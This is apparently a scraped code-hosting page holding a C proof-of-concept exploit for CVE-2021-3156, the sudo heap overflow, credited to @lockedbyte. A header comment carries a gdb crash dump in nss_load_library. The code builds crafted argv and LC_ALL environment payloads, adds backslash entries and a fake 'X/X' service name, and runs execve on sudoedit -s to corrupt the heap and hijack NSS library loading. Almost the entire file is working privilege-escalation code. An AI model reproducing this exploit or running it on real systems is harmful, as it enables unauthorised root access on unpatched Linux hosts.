121 lines
3.0 KiB
C
121 lines
3.0 KiB
C
|
/*
|
||
|
|
|
||
|
|
CVE-2021-3156 PoC
|
||
|
|
|
||
|
|
-- just an implementation of method #2 via nss_load_library() ni->name corruption --
|
||
|
|
|
||
|
|
PoC by @lockedbyte
|
||
|
|
|
||
|
|
Program received signal SIGSEGV, Segmentation fault.
|
||
|
|
0x00007ffff7e9f4ee in nss_load_library (ni=ni@entry=0x555555582900) at nsswitch.c:344
|
||
|
|
344 nsswitch.c: No such file or directory.
|
||
|
|
(gdb) rax 0x0 0
|
||
|
|
rbx 0x42424242424242 18650200809816642
|
||
|
|
rcx 0x55555557f010 93824992407568
|
||
|
|
rdx 0x0 0
|
||
|
|
rsi 0x0 0
|
||
|
|
rdi 0x555555582900 93824992422144
|
||
|
|
rbp 0x7fffffffe150 0x7fffffffe150
|
||
|
|
rsp 0x7fffffffe100 0x7fffffffe100
|
||
|
|
r8 0x55555558d620 93824992466464
|
||
|
|
r9 0x7fffffffe000 140737488347136
|
||
|
|
r10 0xffffffff 4294967295
|
||
|
|
r11 0x0 0
|
||
|
|
r12 0x555555582900 93824992422144
|
||
|
|
r13 0x7fffffffe168 140737488347496
|
||
|
|
r14 0x555555582928 93824992422184
|
||
|
|
r15 0x55555558d620 93824992466464
|
||
|
|
rip 0x7ffff7e9f4ee 0x7ffff7e9f4ee <nss_load_library+46>
|
||
|
|
eflags 0x10246 [ PF ZF IF RF ]
|
||
|
|
cs 0x33 51
|
||
|
|
ss 0x2b 43
|
||
|
|
ds 0x0 0
|
||
|
|
es 0x0 0
|
||
|
|
fs 0x0 0
|
||
|
|
gs 0x0 0
|
||
|
|
k0 0x0 0
|
||
|
|
k1 0x0 0
|
||
|
|
k2 0x0 0
|
||
|
|
k3 0x0 0
|
||
|
|
k4 0x0 0
|
||
|
|
k5 0x0 0
|
||
|
|
k6 0x0 0
|
||
|
|
k7 0x0 0
|
||
|
|
(gdb) => 0x7ffff7e9f4ee <nss_load_library+46>: cmpq $0x0,0x8(%rbx)
|
||
|
|
|
||
|
|
|
||
|
|
Execute:
|
||
|
|
|
||
|
|
./exp.sh
|
||
|
|
|
||
|
|
*/
|
||
|
|
|
||
|
|
#define _GNU_SOURCE
|
||
|
|
#include <stdio.h>
|
||
|
|
#include <stdlib.h>
|
||
|
|
#include <unistd.h>
|
||
|
|
#include <string.h>
|
||
|
|
|
||
|
|
#define MAX_DAT 2048
|
||
|
|
#define MAX_LEN 1024
|
||
|
|
#define MAX_ENV 4096
|
||
|
|
|
||
|
|
#define u_dat_sz 112
|
||
|
|
|
||
|
|
#define e_dat_sz 208
|
||
|
|
|
||
|
|
#define null_sz 63
|
||
|
|
|
||
|
|
#define ENV_VAR_NAME "LC_ALL"
|
||
|
|
#define ENV_VAR_VALUE "C.UTF-8@"
|
||
|
|
|
||
|
|
#define BACKSLASH "\\"
|
||
|
|
|
||
|
|
#define CORRUPTED_SRV "X/X"
|
||
|
|
|
||
|
|
#define TRGT_PATH "/usr/bin/sudoedit" // "/usr/local/bin/sudoedit"
|
||
|
|
|
||
|
|
|
||
|
|
int main(void) {
|
||
|
|
|
||
|
|
int i = 0, x = 0, y = 0;
|
||
|
|
|
||
|
|
char env_pay[MAX_LEN];
|
||
|
|
char c_env[MAX_DAT];
|
||
|
|
char ar_pay[MAX_LEN];
|
||
|
|
char *env[MAX_ENV];
|
||
|
|
|
||
|
|
memset(c_env, '\0', sizeof(c_env));
|
||
|
|
memset(ar_pay, '\0', sizeof(ar_pay));
|
||
|
|
memset(env_pay, '\0', sizeof(env_pay));
|
||
|
|
|
||
|
|
puts("[.] crafting payload...");
|
||
|
|
|
||
|
|
for(i = 0 ; i < u_dat_sz ; i++)
|
||
|
|
ar_pay[i] = 0x41;
|
||
|
|
ar_pay[i++] = 0x5c;
|
||
|
|
ar_pay[i++] = '\0';
|
||
|
|
|
||
|
|
char *argv[] = { TRGT_PATH, "-s", ar_pay, 0 };
|
||
|
|
|
||
|
|
for(x = 0 ; x < e_dat_sz ; x++)
|
||
|
|
env_pay[x] = 0x42;
|
||
|
|
env_pay[x++] = '\0';
|
||
|
|
|
||
|
|
snprintf(c_env, sizeof(c_env), "%s=%s%s", ENV_VAR_NAME, ENV_VAR_VALUE, env_pay);
|
||
|
|
|
||
|
|
for(y = 0 ; y < null_sz ; y++)
|
||
|
|
env[y] = BACKSLASH;
|
||
|
|
env[y++] = CORRUPTED_SRV;
|
||
|
|
env[y++] = c_env;
|
||
|
|
env[y++] = 0x00;
|
||
|
|
|
||
|
|
puts("[.] triggering heap overflow...");
|
||
|
|
|
||
|
|
execve(TRGT_PATH, argv, env);
|
||
|
|
|
||
|
|
return 0;
|
||
|
|
}
|
||
|
|
|
||
|
|
|